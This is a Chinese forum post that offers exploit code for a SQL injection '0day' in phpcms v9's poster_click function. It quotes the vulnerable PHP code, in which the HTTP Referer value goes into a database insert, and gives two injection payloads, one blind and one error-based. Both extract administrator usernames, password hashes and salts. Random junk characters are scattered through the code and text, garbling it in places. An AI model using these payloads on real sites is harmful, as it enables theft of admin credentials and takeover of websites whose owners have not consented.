phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
; F6 x& ^3 Y+ p) ^6 c' ]; \0 q# G
问题函数\phpcms\modules\poster\index.php

1 m( [5 `+ E( s; A, apublic function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
$area = $ip_area->get($ip);
7 R- w: e1 r" C, T7 ~  Z" ~1 \& Z; V$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
9 c$ \! A# d2 S& Q$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
/ q9 P( L7 ]% x! \: E' N) z}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
' ^+ T9 W: n0 U% a' P* H$setting = string2array($r['setting']);
4 y) |9 b1 ?5 H$ @if (count($setting)==1) {
$url = $setting['1']['linkurl'];
& r, K1 A6 |6 z0 |4 J/ w6 ^( O; ^} else {
1 P3 {7 d- P; `$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
7 Q1 Y6 Q5 n/ Z" g; n}
( Z8 j9 d! [0 b. D1 G1 Uheader('Location: '.$url);
7 m5 _3 W; @4 r1 V1 f}
$ p# V% V  Z2 ^! g! E" Q$ V

9 [! @9 G$ o/ A2 \! z1 j5 ~
1 b# {5 O, H2 B* }4 W# e) F利用方式：
  C4 P% q, |: }' r3 A
6 G( l% g( D9 z6 ^) D; {3 z1 h1、可以采用盲注入的手法：
# B7 x" f* }: C. {. F/ K
9 A* U1 h/ e, Oreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
7 P' U6 M' L: r
通过返回页面，正常与否一个个猜解密码字段。

2、代码是花开写的，随手附上了：
- j) `' S! T0 h/ Z% z4 H  p$ H0 q& j
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
